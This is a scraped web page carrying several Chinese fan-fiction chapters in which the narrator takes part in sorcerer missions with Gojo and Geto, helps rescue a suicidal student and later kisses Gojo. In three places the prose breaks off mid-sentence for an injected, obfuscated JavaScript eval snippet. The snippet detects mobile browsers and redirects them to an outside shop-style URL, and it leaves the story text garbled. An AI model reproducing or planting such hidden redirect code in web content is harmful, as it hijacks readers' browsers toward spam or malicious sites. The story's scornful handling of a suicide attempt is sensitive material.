“冷面。”加冰块的、酸甜味的冷面。 她摸了摸你的脑袋,发梢还湿漉漉的:“冬天吃这个。” “怕吃吐了。” “你们两个,要来吗?”硝子前辈一句话,全世界想要蹭饭的同学都吻了上来。 夏油杰关心了一下你的身体状况,五条悟路过你的时候却捏起了鼻子,你仿佛误入校园霸凌现场。 “什么味道,真是奇怪。” 你撩起头发:“对不起啊前辈,一不小心让你闻到康子的味道。” “康子是谁?” 硝子无奈看了你一眼。随即向他们解释:“今早我们去了地下室。星夏收拾的时候或许是看见了名牌。” 好消息是你调皮捣蛋的前辈立刻不和你说话了,坏消息是……错了,还是好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664977|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息,他胃口也变得不好。 你只吃了半碗就停筷。 五条悟坐在你对面,自从你们都推开碗后就能轻易看见彼此。幸好他还有副墨镜。 “她怎么这么早就见习解剖。”五条悟先是问硝子,再是问你:“你自己要求的?” 真是高估了你的上进心,你随口敷衍:“时间紧,任务重。” 在他说出“我们一年前可没有你这样忙碌。”的时候,你意识到他在表达人文关怀,因此有些惊讶地对五条悟说:“谢谢。” 他像受到了侮辱一样,几乎是在座位上往后跳了一步:“你这是什么意思?” “就是……道谢?你人还怪好的嘞。” 硝子从桌子中间抽了张纸擦嘴,她给你一点提示:“那天回去以后他就有点受不了你,我觉得他最不能直面的是你既不在乎他,也不介意迁就他这件事。再明确些说,他也许以为你会感觉到羞辱,可你只是耸耸肩就走了。更进一步,等第二天睡醒后,五条意识到一开始你就--” 你懂了:“原来五条前辈也有不能接受被当成小孩对待的时候。” 她提醒你弄错了重点:“不,他觉得你不应该是那个一笑而过的大人。” 你听见哐当放碗的一声,果不其然,你对面的前辈嘴噘到天上去:“硝——子。”特地又拿起碗再放下又把筷子实现撩到一边真是难为他了。 你告诉他:“没事的前辈,我也不是不可以更在乎你。” “免了。”五条悟正在生闷气,但是:“在铃木说出我10个优点之前我是不会原谅你的!” 能说出这个话应该不算生气,至少七海生起气来一般不想理你,而且--刚刚拆台的难道不是硝子吗?五条说话的口吻也太像个孩子,重音放在后头,还有刻意上扬的语调,惹得你想笑。 你说:“是不是因为硝子前辈一般不会在这个话题上理你,所以你才找到了我?” “住--嘴!” 这事有点为难你:“想不到10个怎么办?” 夏油杰建议你:“可以先说几个配合一下,然后……毋庸置疑的是态度端正这一点很重要。” 他传授的五条悟相处要诀和你的职场混子哲学不谋而合,但这引起了五条悟的进一步不满,他的皮鞋狠狠踢到了桌子,咚的一声。 你怀疑世界上没人能有10个优点,因为虔诚教徒也只总结出七美德,如果美德有那么多,他们就会写十美德或者十七美德了,不是么。 你认真背诵:“贞洁、勤奋、慷慨、谦逊、温和、节制、宽容。嗯……眼睛很特别,长得很好看,身材很高挑。10个,可以了吗?” 硝子摸了摸你的背,一本正经:“我最欣赏的就是【谦逊】这点。” 谦逊的前辈从听到【贞洁】这个词就开始愣怔,这一状况直到他听见第三个词结束,看来他对外国文学也有所涉猎。然后他的愠怒肉眼可见,直到听见你夸他的样貌,一连夸了三条,他看上去像一只拉不下脸的猫。他其实……挺好哄的。 夏油杰问你:“为什么以贞洁开始?” “因为贞洁所对应的色欲是七宗罪里最轻的一条,往下是暴食、贪婪、懒惰、暴怒、嫉妒、傲慢。五条前辈,我把世界上所有的美德都用在你身上,还加上发挥创新能力想到的三条,够了吗?” 你展现出了极强的雕花能力,敷衍的背诵被你说成是【所有的美德】,肉眼可见的外貌优势被说成创新,然而终究还是敷衍的。 “就没有什么性格上的优势吗?”他直接忽略了七美德,尚且不算满意。 你配合说:“已经是个好人了,性格如果再软和温柔些,会被欺负的。” 他满意了。 你们所有人都理所当然忘记了一段时间前的一切。 20. 第 20 章 你以前做过一两个月咒术师,现在你跟在两个特级后面见习,仿佛从公司普通业务员一跃成为500强总裁的秘书助理,行程忽然紧张起来。干的事情也多为打杂。 在冬天,按理说咒灵也蛰伏,公民都在想着接下来几个星期的春假和宅家,作为咒术师也不应当维持高频率的出勤……并非如此。 你做这些偶尔买饭,在辅助监督联系不到人的时候发信息、进帐找人,帮人拿甜点的活计,算是任劳任怨。虽然没有咒灵进项,但忙碌程度仍然在接受范围内--你可以通过减少睡眠时间多上会网,至于其他……你意识到之前和七海还有灰原的出任务多为小打小闹,如果你成为一级咒术师,你可以接到更多的任务,虽然难度会远远大于从前的三四级,但于你而言也就是多挥一两下刀的事情。 蜘蛛之门不在乎进献的祭品质量而更倚重数量,你认为这就像散养鸡和白羽鸡的差别,后者产量更高,一辈子出不了笼甚至难以转身,养殖周期短成本低,肉质肥厚,是炸鸡原料的不二之选,而门的干渴正如贫穷之人的祈愿,它希望能被填饱。 冬天的风促使你关上窗户,在副驾驶位,手里抓着鸡腿,接着思考,然而咒灵与咒术师的悖论与此不同:只有高等级的咒术师才能接到往下所有等级咒灵的任务,而且出于对学生的保护--大部分任务仍然归于职业咒术师,你的身边的两个特级前辈除外。同时,高级咒灵能对周围辐射出的伤害也不是三四级的咒灵能望其项背的,前者能导致山岳崩塌,后者顶多让人身体酸痛,夜中惊梦。 你被安排和他们一起去调查了某家怪事频出的蛋包饭连锁店,窗传来的消息是至少一级,实际结果大相径庭--三级,之前在店里亡者死于谋杀,只不过可被观测的咒灵+失灵的烟雾报警器、有人死亡的人为要素被联合到一起,指向错误的判断。 “窗的失误也太……” “算了,悟,只庆幸他们没有把高等级的咒灵看低。” 你在后厨打包了四份餐,虽然有人图谋不轨,但食品安全没什么问题,嗯,毕竟是你能看见的厨房。你在这从事助理活计。 你跟在他们后面看过火山--气象局检测到在这附近的异常天气和近期的地壳活动,周围居民因此陷入不安,还有流传得类似煤气泄露一样的谣言,只要一点火星……那次你们在祠堂里发现了一个二级。 “如果直接告诉他们世界上有咒灵存在,是不是就能减少这种莫名其妙的祭拜活动?” “悟,你可以多些宽容。” “铃木,你怎么看,是不是觉得他们蠢死了?” “引导性提问。”这就是你的看法,这次的报告轮到你来写,你在笔记本上记录现场情况,还拍摄了几处微不足道的屋舍破损,给以后来收拾的辅助监督减少一些压力:“【人类最古老、最强烈的感情是恐惧;而最古老、最强烈的恐惧,是面对未知的恐惧】(洛夫克拉夫特名言),如果只告诉他们世界上有人眼所看不见的咒灵,而不告诉他们如何祓除咒灵,恐怕胆子小的人终其一生都会不停思考这件事--恭喜前辈,研发出了一体化咒力生产机。” 你在夏油杰五条悟之间,思想也在他们中折中的位置:情感上,你不否认他人的愚蠢;行动上,你觉得如果不打算把【人】解决掉,不如让他们无知快乐地活着。 你折中的话让两个前辈都不开心了,其中一个还会在你拍照的时候捣乱。 你所说的内容中最大的隐患同时也是最巧妙的地方:普通人根本祓除不了咒灵。根本矛盾无从解决,因此咒术师仍然只能是一个小众职业,却要为大众冲在第一线。 你还去看过一座午夜过桥即可看到彼岸之人的桥,彼岸是彼岸花的彼岸。那是有名的跳水圣地--一生只能跳一次的景点。 堵不如疏,咒术师就像消防队,只在有警情的时候和巡逻的时候出动,而不能强制不让人到那去,你们此番前去也只是定期巡视,如此可以将那里的咒灵等级控制在可以接受的范围内。 虽然观测本该是窗的活……但距离上次时间也过去了半年,基本可以默认为有。 三级,在大桥底下钢筋结构交错的地方,夏油有一个可以飞的咒灵把你们两个共同运送到那个地方,五条悟的六眼用于定位,他在桥上做向导。此处甚至无需一个帐,你们可以电话通讯。 你坐在一个方便拍照片的好位置,夏油杰只需要低头就能闻到你身上的香气,你现在喜欢在衣服上喷点香水,有的时候发丝也会沾上淡淡的花果香。 你能感觉到过近距离里他的呼吸都停滞了一瞬,所以你回过头:“怎么了?” “没什么。” 电话里还有五条悟的指导声音:“再向桥通车的地方走一点,往里看。” 你猜测他多半也能听到你的声音,所以……你向后倒了一些,你知道夏油杰不会介意多一点靠近的距离:“是我身上的香水味有点重了吗?抱歉,我只是,不想让你们闻到康子的味道。” 在第一次以后你很快就适应了偶尔要去地下室的安排,也学会了撰写那边的报告。消毒水和人体的味道以及不同寻常的耀眼灯光构成了你在那个小房间的独家回忆,你在洗澡最少的时候都没有喷过香水--因为那时候你买不起,现在有了钱,即使能够及时冲澡,你也不介意多此一举置办点更芬芳的好东西。 此话一出噎到了电话另一端的人,存在于你和夏油杰之间地微妙暧昧感亦同时破除,至少他立刻就呼吸顺畅了起来,与那一头相反。 说到贞洁这一美德,你相信夏油杰也同样拥有它。 那边传来咬碎糖的声音:“铃木,你一定是故意的。” 咔嚓咔嚓,你看到了那只咒灵,拍下照片,只为观察桥体结构有无损伤。一切安好。夏油杰伸手收服了它,只待吞下。 再往前30米处还有一个咒灵,处理完它任务也就完成了。 你想这次的报告算上时间地点执行人,一共也只会有六七行。 直到电话里又传来懒洋洋的指令:“就在那边别动,过会有个学生要跳了,我手上拿着甜点,不方便过去。” 也就在听完的一两秒间,有个头朝下的落体经过你和夏油杰眼前。 你们坐在咒灵上俯冲了出去,由于你在靠前的位置,所以率先伸出手。撕拉,他的衣领断了。只听见耳边传来“坐好了”的叮嘱,手还被夏油杰拉过去交付了手机和咒灵球,你身下原本平稳如魔毯的乖巧咒灵变成了过山车,安全带么……是夏油杰坚实牢固的胳膊与臂膀。 他的另一只手给了那个心怀死志的学生一击。并非是故意的,但是自由落体的重力加速度就是这样规定,咒术师的□□可以经过咒力强化,求死者普通人没那么好运。在衣领撕扯后,那学生仔又失去了框架眼镜。 翻转的时候你被紧紧地搂在他身前,近到你能判断他身上穿的是新洗的衣服,因为洗衣粉的味道还混合了日光清香。你告诉他:“肚子有点疼,请松开点。” “抱歉。” 五条悟的参与感十分强,呼呼的风声外,他抱怨:“真是糟糕的对话。既然救到了人就快上来。” 又一次翻转,你们回到了正轨,夏油杰松开了揽住你的手,这会正帮你打理头发。然后动作突然停止,大概是他忽然意识到这样做会带来尴尬。 你觉得还好,之前过程中由于你们靠的很近,又经历了回旋,不可避免地你的头发会乱飞,甚至扫到他脸上,即使只考虑人的下意识反应,这样做也无可指摘。 他可能只是,呃,太贞洁了。容易害羞吧。 挺可爱。 现场还没反应过来的恐怕只有误入彼岸的青年学生。他抽噎了两声,转醒:“肚子……好痛。” “我们先上去。”对于一个重心不稳的人,夏油杰不会放开手,你也腾出手握住那人肩膀,一起向上。 但事情的后来发展耽搁了你们的行动。 “这里是哪里,你们是黄泉国的使者吗?” “什么嘛,我居然没死,难道你们会飞吗,神仙,还是妖怪?” 好烦,你在不远处往这里走的五条悟脸上看到了相同的嫌弃,于是往那边走过去,答疑就交给辅助监督,你给车停在桥边的人员发去信息。 【你好,刚才顺手救下一个轻生者,请锁车过来做下咨询答复工作。就在大桥中间。】 那边很快回复:收到,请稍等。 夏油杰就没那么好运了,他被拉着不让走,你和五条悟在50米外看他受理纠缠。 “你和杰关系很好?” “还行,为什么这么问?” “哼,你没说实话。” “嗯,我百口莫辩。” “……” 哎,你这倔脾气,你挂上夏油杰交付到你手上的电话,之前五条悟也没自己挂断:“你想问什么,前辈?” 他像猫一样咕噜了两下,才问你:“你不是对男人没兴趣的么?” “是没有。”你顺着他的话往下说。漫宿里没有爱侣的位置,在大多数情况下,长生,是一门孤独的延伸学科。少数情况下手握权柄的人总是例外。 他像是好不容易抓住了你的小把柄,语速飞快质问:“那你们这是在干什么!” “你会飞,我会坠落。在重力引诱下的我们正是如此脆弱,大地最终将我们据为己有。” “--可你们那样说话,那样--你们很熟嘛!” “还行。”一切又回到了刚才。不过你也意识到,或许你和夏油杰之前确实有些暧昧的氛围,而五条悟也确实敏锐到能先于你们二人发现这一点。 他不和你说话,开始拆自己的零食,摆明一副不打算分给你的样子。 你也没有那么想吃…… 辅助监督的到来环节了局势,夏油杰得以脱身,你好奇专业人士会如何定性这次的顺手救援,就待在上头接着听,相机交给他,由他来进行下一处咒灵盘据地的拍摄。 “杰,你一个人去也没关系。” “怎么了,悟?” “哼,没事。” 你蹲在不远处偷听辅助监督忽悠人,你们只是来检修大桥的一些人,至于他所说的“飞起来了”“明明已经跳下去了”应该是精神状态不佳导致的幻觉。他还劝告这个学生有什么事情都不如好好吃一顿饭,再睡上一觉。 真敢说啊。 “你见过穿校服来检修的人吗?不要忽悠人,大叔。” 被指到的人是你,你打补丁:“我们是职高学生,见习的。白天通车情况可能会影响调查结果。” “可是这个地方白天也没什么车会途径,你们不知道吗,这里可是--” 你平平淡淡的语气倒像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664978|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个专家:“不太清楚你在说什么,但我们这行就是这样的,夜里上工。行了,你如果没什么事情,就可以离开。” “你们还有一个人呢,那个黑色头发的小哥,他的头发是这样,这样的。”他先握了个拳,再然后像在捏着一绺发丝那样,相当形象。 “在下面看桥。” “安全绳呢?” 你站起来,挡住了他左看右看的视线:“你是在这附近上学的学生?家在哪里,要不要我们送你回去?天气很冷,注意安全。”你们哪里会有安全绳哟,收拾收拾赶紧把人打发走,是为上策。 五条悟在你后面不远发出嘁的一声。 “嗯?你是在关心我吗?从小到大我从来没被女孩关心过。” “不是的,我只是想你赶紧走。”退一万步说,如果他不愿意再活着了,为什么不能把自己送给蜘蛛之门呢?你走近两步。 “小姐,你细看起来很可爱。” “哦,那你没长眼睛。”你给辅助监督使眼色,交给他了。 “不如我们加个联系方式?” 几分钟之前他还头朝下准备落水,现在他说:“嘿,你长得不错,对了你有手机吗?”,或许是因为烂命一条且自知所以不管怎么样都不介意拖人一起下水。蹬鼻子上脸的东西。 你回头问:“夏油前辈那边怎么样?找到了吗?”可以准备走了。 “你说你们是见习的学生,在哪里上学,也在不远吗?” “……”你这些天工作了挺久的不愉快就随着深夜里喋喋不休的耳旁风发散了出来,但是具体的攻击要在得到前辈确切回答之后。 你等来了五条悟的回复:“他马上上来。对了杰我和你说,那个人在搭讪铃木,你会在意这些吗?咦?没有,诶,和我猜想的不一样呢--那就让谦逊勇敢温柔可靠的五条悟前辈来帮忙驱赶来路不明的纠缠者吧!”他的尾音还很长。 “我对你没兴趣。”你往后退了一步,离这个狼狈的学生远点。五条悟忽然从远处窜到你身后,扶住了你的肩膀,“需要前辈的帮忙吗,铃木?” “也不用,谢谢。”你有点烦,这样的情绪要自己说点刻薄话才能缓解,别人的帮忙无济于事。 那个人说出了他能对你说出的最后一句话,后来他没机会了。他问:“难道说你们是情侣?” “不是的,我对你没兴趣和有无别的可能存在的男人没关系。”你轻轻抽出自己被五条揽住的胳膊,靠桥边站了一些,冬天的风吹的你耳朵不舒服,接着说:“我是一个人,有自己的想法和好恶,而你看起来臭臭的,脚上穿着上上次洗澡后就没换过的袜子,身上是三天没换的外套,家里可能还有一筐等着妈妈洗的内裤。你没牵过女孩子的手,你可能觉得世道待你不公,但是无论如何……我觉得十年以后可能会有女孩愿意和你约会吧,期待你活到2016。” 这里人很多,你克制地表达了自己的贬低,语言运用炉火纯青。 此人的下一次尝试跳桥被身手矫健的辅助监督制止。 隔着几十米,你在桥边迎接归来的夏油杰:“有形之物总有消逝之日,但很可惜,他的不在今天。” 夏油杰:“嗯?怎么了?听悟说你被纠缠了。” “是的,他历经生死一遭突然发现自己很缺爱,我稍微安慰了他。人嘛,快要崩溃的时候不顾一切不要面子地大哭一场会好很多。”你们耳边正是那处传来的大哭声音,崩溃是真的,纠缠也是真的,不过你没什么义务额外提供情绪价值。凡事,皆有代价。 五条悟的声音凉凉的,听你胡扯一通一盘逻辑发现全是实话,但他的重点也不在这:“都怪你,没车送我们回去。铃木,你打算怎么办?” 你就问:“如果我们今天因为交通原因住酒店,报销上……” 他残忍接上:“没有这种说法。” 哎,凡事皆有代价。 你差点就要花钱请他们住酒店了,但五条悟心地善良,他家在2公里内有房。经过商量,辅助监督可以先送你们再送想不开的那个人。 你在车上吃完了炸鸡,并且感慨白羽鸡的性价比之高,只可惜有些冷了。关于那个散养鸡的说法……直到目前你们还没看见过一级和准一级,也许以后某天有机会能得见。 忘了说,以上的三个任务,范围涉及到小半个日本--是你们最近三天完成的。今天白天你还抽空去了一趟高专地下室,下午离开高专,晚上只好夜宿在外。 “你只许在车上吃,知道么?” 屋主有话,岂敢不从:“好的,不会带到你的房子里。” “那地方有一阵子没住人。” 你猜他是在暗示你,于是应答:“我可以打扫,我以前可能很擅长卫生清洁。” “不是这个意思,”他烦躁起来,你从内后视镜看到他在后座摁自己的额头,畏畏缩缩的男生在他俩之间双腿靠拢:“我忘记那个房子有多大了,而且你不会指望有多处空置房产的人忘记请人定期打扫吧,管家会安排这些。” 你从来没有那么有钱过。手上冷掉的炸物味道跌到了底谷,你没心情吃了。“哎。” “叹什么气,会有房间给你住的。” 不是这个,此人正在徒劳哀叹自己无钱的命运。你合上纸盒,扎上塑料袋,对辅助监督说:“到时候麻烦你帮我扔掉。” 21. 第 21 章 虽然承诺了住所,但是归属五条家的这处房产只有两个房间,他们看起来都或多或少的疲惫。 你说:“我可以在客厅玩电脑,因为不需要睡觉。”然后被不客气地揉了头发。 “说了让你有住的地方你就会有的。” “我是真想玩电脑。前辈们早点休息,我今天洗过澡了,晚上没弄脏身上,所以也不需要用淋浴间。如果方便的话,请给我一套一次性牙刷。” 五条悟也不强求,他说道:“那随你,走廊的卫生间给你用,镜子后面的橱柜里什么都有。夜里突然想洗澡也行。” 这个可以开空调的客厅就属于你了。里面还有个冰箱,只是里面没有东西。 凌晨一点多的时候,你隔着门听见了有人开门的声音,于是也打开客厅的门,看见了因为你这边亮光而眯起眼睛的夏油杰,他穿着薄款睡衣,在冬天似乎有些单薄。 “怎么了?你要用厕所吗?” “不是,”他勉强扬起微笑,“有些困,只是睡不着。你怎么样,还吃得消吗?” “问题不大,走廊有点冷……我是说,关于你的睡眠,你看起来需要帮助?” 他停顿了一会,然后轻声说,那声音似乎是为了不惊醒任何人而开口的:“是,劳烦你。” “不用客气。”你探出走廊,发现自己没想错,脱掉了外套身穿毛衣的你也觉得这里有些凉。 跟着夏油杰走到他的临时房间。大小适中,1.5的单人床被置于中央,左边是拉上的窗帘,右边是简约的木柜木桌。床前铺了一块2x2的地毯,瞧着似乎是米色或者淡黄,总之这些原木和色调相当简约,离现代日式只差几盆绿植。 “你没开空调?”这里也不暖和,你踩上毛茸茸的地毯,回头问他:“能开灯吗,或者拉开窗帘,我想有一点光。算了,就稍微拉点窗帘。” 夏油多半会觉得光线刺眼,虽然无论如何他最终都会睡着,而且他多半会告诉你“没关系那我们就开灯好了。” “宿舍里也没空调,我习惯这样睡觉。” “而我真的很喜欢吹空调。” “这句话是什么意思?”他关上门,又过去窗户边拉开窗帘,皎白的月光得以照进来,照亮了一片米白的地毯,他问你:“你之前也说过。” “意思就是……空调是个好东西。”你之前说过,什么时候?但是如果你又问出来那就会没完没了,不如随口回答。“好啦,到你上床时候了。” “……铃木。” 你被手机的屏幕光照亮了半边脸:“怎么了?” 他还是那副生怕惊醒了谁的嗓音:“别说这么奇怪的话。” “奇怪吗,你别多想。”你低头看去,原本是想帮他掀开被子,这时才看到他枕套上颜色深于旁边的水渍,于是伸手摸了摸,冷而濡湿:“你没吹头发?” “嗯,想快点睡觉。”他的声音逐渐靠近你,然后他坐到了床的另一边沿:“过会还要麻烦你帮我拉下窗帘。” “好的。” “那接下来,要……怎么做。”他表现得极不自在,而你被月光下恰好照亮的一小块地方吸引。月光和半开的窗帘构成一把剪刀,在他的半张脸上留下痕迹,你瞧见他的眼窝、鼻梁、唇瓣都被镀上银光。东方美人的五官被冬日无云的冷调光调和成一副协调画卷,而他的发梢上还有一滴水珠,眼中还有仿佛刚从浴室走出来的潮湿,你几乎要闻到水的味道。 “有人和你说过吗,你的头发披下来要好看得多。”你随意把手搭在他肩膀,“你想躺下,或者坐着,都可以。” “你似乎对女巫的身份并不在意。” 那是因为你根本不是女巫,不过你了解的知识足够欺骗一个外行。 “还行,我不怎么用那些术法,而且当你发现自己的知识有可能成为阻碍生存的诅咒以后,多少也会有些晦气去驱使它。”才不会呢,你从来没有后悔过走上长生者的路,顶多只是质疑了一下杯的晋升路线太单一,吃同事什么的你不想要,但你更不想有被盯上的风险。而且你得罪了领导。这两点同样重要。 他被你说的话吸引,整个人移到床的中间,但没有要歇息的意思,小声问你:“怎么会呢?” 你于是就告诉他:“毕竟我们可是有猎巫的光荣传统,三个世纪以异端的话术镇压了不少不服管教的人。农业社会啊……实际上我不相信字都识不全的人有能力做好审判的工作,只不过在潮流底下,发生什么都是有可能的,对吧?即使在21世纪,人也在极力避免成为异端。我不只是在说欧洲。” 这个话题就有点严肃了哦,什么异端啊小众教派啊,司辰斗争引发的表面世界动荡就像海底的波动引起海上惊涛骇浪一样,掀翻数只运道不好的船只是概率问题。 他又问:“那你憎恨普通人吗?” “……”你非常吃惊,这层跳跃未免跨度太大,不过他湿漉漉的眼神看向你,好像没意识到自己说了什么令人惊惶的话,你恰好又算是处变不惊,于是回答他:“不会,我不把自己看得太重要。海中贝壳,有些会随风浪潮汐被冲刷上岸,但不存在能永久留在岸上的,有些又被浪花收回,有些被人捡走。人类的生命就如贝壳,有在浪尖上闪闪发光的时刻,就注定会有被收回光芒的时刻。到最后,永恒的死亡才是相对公平的。如果在活着的时候极力强调差别度,死了以后会很尴尬吧。” “这是什么意思。”夏油杰呼出一口气,声音像叹息:“我……没太听懂。” “我认为猎巫的人和被冠以罪名的女巫男巫实质是同一类人,只不过天赋的能力将我们分开。”猎来猎去的,没面包填饱肚子就老实了:“事实上,有一个小小的冷知识。真正的女巫……我也不敢保证,但是能被火焰焚烧至死的,更有可能是普通人类,你理解我这句话的。文献记载有许多身怀财产的普通女性和一些不愿意配合教会的男性也被当成女巫--但是人的生命远去了,她的财宝却还能供活着的人享乐。好了,这都是几百年前发生的事情了,而且也不适合当做睡前故事。” 你搭在他肩膀上的手绕到背后,恰逢发梢的一滴水落到你手,冰凉的水。你改侧坐为双膝跪起在他一侧柔软的而冷的被子上,下巴搁置在他挺括的肩头,嗅到皂香的清爽气息和一点檀木的苦,从他散发热气的脖颈处传来。在这个角度,你还能看见他喉结的阴影在青色的月光下滚动。 你又听不见他的呼吸了。 你稍微离远了一点,他或许还想说什么,然而你不愿意听了。你的停顿像鼓点,短促快速,言语像乐章,摘自简单古拙的歌谱,然而不必担心听众会感到无趣,因为在第二小节到来之前,夏油杰或许已经在梦中见到自己的心跳汇入风暴合奏的鼓。 不管他做了什么样的梦,总之他已然入眠。他有点重,然而对你来说不算什么,你将他安置在枕头合适的位置上,拂开遮蔽眉眼的碎发,展露出他睡梦中的慈悲之相。 拉窗帘,已是月上中天。 再往后就是它下坠的时刻,有关死亡的事情,你在方才并没有欺骗他。即使是号称不死不灭的司辰尚且可能有身殒虚界的那一天,你听闻过最骇人听闻的事情莫过于1582年的置闰。在人类的世界中,记年的历法被改变,看起并非什么影响深远的大事件;然而对应在漫宿的世界中,那是一位统领的至尊被爱人怀着炽烈爱意分裂,一段历史淌过,顶点的司辰亦有向下的死劫…… 而你,命运无常,活得够久谁都能迎来死于非命的那天。你毫不怀疑自己以后也会死亡。 不管怎么说,你打算先小活几百年,至于领导们……不是,上位者们承诺的命无休止就像健身房开业时的十年卡一样,能用三年就是赚。 漆黑的房间里,门缝中透出的走廊灯光格外明显,嗯……你之前开灯了吗?拧开门,你看见一个背光的高大身影,是不知道在门口站了多久的五条悟。 他很高,走廊顶灯照得他发丝透明,然而整体环境很暗,发青又发蓝,因此灯光就像是在他的周身一圈镀了亮银:“哇,你大半夜的站在别人房间门口是做什么。” 你还没忘记要给睡觉不开空调的夏油杰带上门。 五条悟的力气很大,他的无下限术式还很好用,即便你靠在门板上还发出了砰的一声,他也能在一瞬间以手心为中心吸引你靠近,就像大吸铁石吸附小铁块那样。 一转眼,你就撞到了他的锁骨,而你的手腕被牢牢握在他手中。好消息,现在你知道自己在官方那边身世还算清白:如果你坐过牢,这时你就会因情境相似隐约回忆起手铐硌在手腕的滋味,然而你没有,因此推断你没有在人生体验中加入过进监狱这条。 “应该是我要问你这个。”他的声音很冷淡,平时鼻梁上的墨镜换成了罩在额头的眼罩,一双蓝色的眼睛无端亮了起来。他真是折腾,把你吸附过来,又在身边开了一圈无下限。 你没挣开,说酸话:“真是伸缩自如的距离感。”一只胳膊肘还不慎撞到了门框,哐一声,疼痛似乎也迎来了可听化。你没呼痛。 “真是大胆,你不怕杰听见?” “呃,我就是喊破喉咙他也听不见。你能放手吗?” 得到的是他冷硬的回答:“不能。” “所以前辈,你要做什么?” 他高高在上的脸庞向你凑近,鼻尖几乎要蹭到你之前撞在空气墙上而现在还在发酸的鼻子--因此你也知晓,你们碰不到,你们中间还有无限。他问:“为什么不好好待在客厅。” “你怎么知道我没待。” “废话你都跑到隔壁次卧去了。”他突然几乎咬牙切齿,“你们做了什么?” 你就奇怪了:“这和你有关系吗?” “这是我家,我应该知道这里发生的一切的事情。” “建议您这边装监控哈。” 他的手捏起你的下巴,天才的设计,希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664979|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望他下次就别把这种想开就开想关就关还能局部施展的术式用在你身上了,还迫使你抬头对上他因为生气而皱起的深邃眉眼:“你不要转移话题。你们在做什么,你怎么会去他的房间里,明明几个小时前你还说你们之间没什么--” 他戛然而止。 “嗯,你很在意这个嘛,前辈?” 于是你头一次听见了五条悟用上位者的命令语调对你说话:“回答我,铃木。” 你能听见他的灵魂在皮囊之下咯吱作响。 但你没发现什么能让他特地费心从被窝里起来又生气到这种情况的事件。 你选择老实点。 “夏油前辈睡不着,我陪他说了会话,现在几点?” “2点。” 你重复道:“是的,2点,如果有点什么我大概会再在里面呆几个小时再出来。” “哦?”他极少用这个语气词,现在反问腔调里混合怒气,他更加逼近,眼眶几乎要靠到你的,问你:“这就是你开脱的说辞?” 你闻到了他身上沐浴露的香,混和柚子和蜂蜜的甜气。 “实话实说罢了。”你想偏过头,他的手分毫不让。你的嘴唇擦过他的面庞。 “我不信。” “……” “你必须说实话。或者证明。” “要不你还是把夏油前辈喊起来吧。” 啪,走廊的灯被关上,这里连一点光源也没有了,要说有什么东西还在黑暗里放光,就是瞪得像猫眼的五条悟的蓝色瞳孔。他的眼睛合上,你就也看不见光了。 然后你也闭上双眼。 五条悟的睫毛扫过你的眼眶,刮擦得你眼皮作痒。 他亲了你。 踉跄地把你推到墙上,你感觉到你与他紧紧贴合,感受他散发的体温。他的嘴唇如他行事一样莽撞,也和他动作一般柔软。等到温度离开的时候,一点冷气窜入你的衣领。 五条悟的吐息里有柚子和蜂蜜的甜香。 他松开了钳制你下巴和胳膊的手,你瘫在墙上,不紧不慢地指使他:“把灯打开。” 照明恢复。 起初,光芒有些刺眼,再之后,你见到了他没有表情然而薄红的双颊。你用一根手指挑起他的下颚,指引他再次靠近:“感觉不错,但这样能证明什么呢?” 他的眼睛直直地看向你,目光倔强,嘴唇紧闭。 你合上眼睛,再之后,他抱起你,把你带向客厅,在明亮的地方,你们双唇相接。触摸、香味、热气,你倚在五条悟的臂弯里,腰肢柔软,他的唇舌迫切,猛烈,远算不上优雅,像一只渴了许久的山羊畅饮泉水。可当他把手放在你髋部旁时,你的手触碰到他。 他在颤抖。 又一个短暂的吻结束了。 当你们接吻时,交缠发出啧啧水声,可在那之后,你们的唇瓣分开,他不得不说话。他的眼睛闪闪发光,不是术式的光,倒像是你的吻给他的,他极力下撇嘴唇,问你:“你就是这样和你的前男友们接吻的吗?” 你们的心跳都比往常更快,你理解他希望慢下来的渴求,不过嘛。。 你回答:“我只有一个前男友,他挺久之前就死了。” “哦。”他过了一会说,赌气一样:“死得好。” “是。”你笑容灿烂,这话你完全不带否认的。客观上说,你恨死那个人了。 五条悟搂紧你,头埋在你的颈窝,他的头发并不柔软,你在想象一个骑单车的年轻人,即将倾斜,他的脑袋告诉他要往左,嘴里也是这么说的,身体最终却义无反顾像要跌倒的那一面撞去。 “我以后不会再亲你了,我们以后不会接吻了。”果然,他像小孩子一样说。 你推开他,他的眼睛饱满如水滴,清澈如月下小溪,他没想到你会这样做。他的嘴唇柔软有光泽,正在等待另一个亲吻。 你说:“是。” 你仰头用双唇去描摹他的形状,再后来,你坐在他双腿上,他倚在靠背,你们都姿势放松,难以自禁。 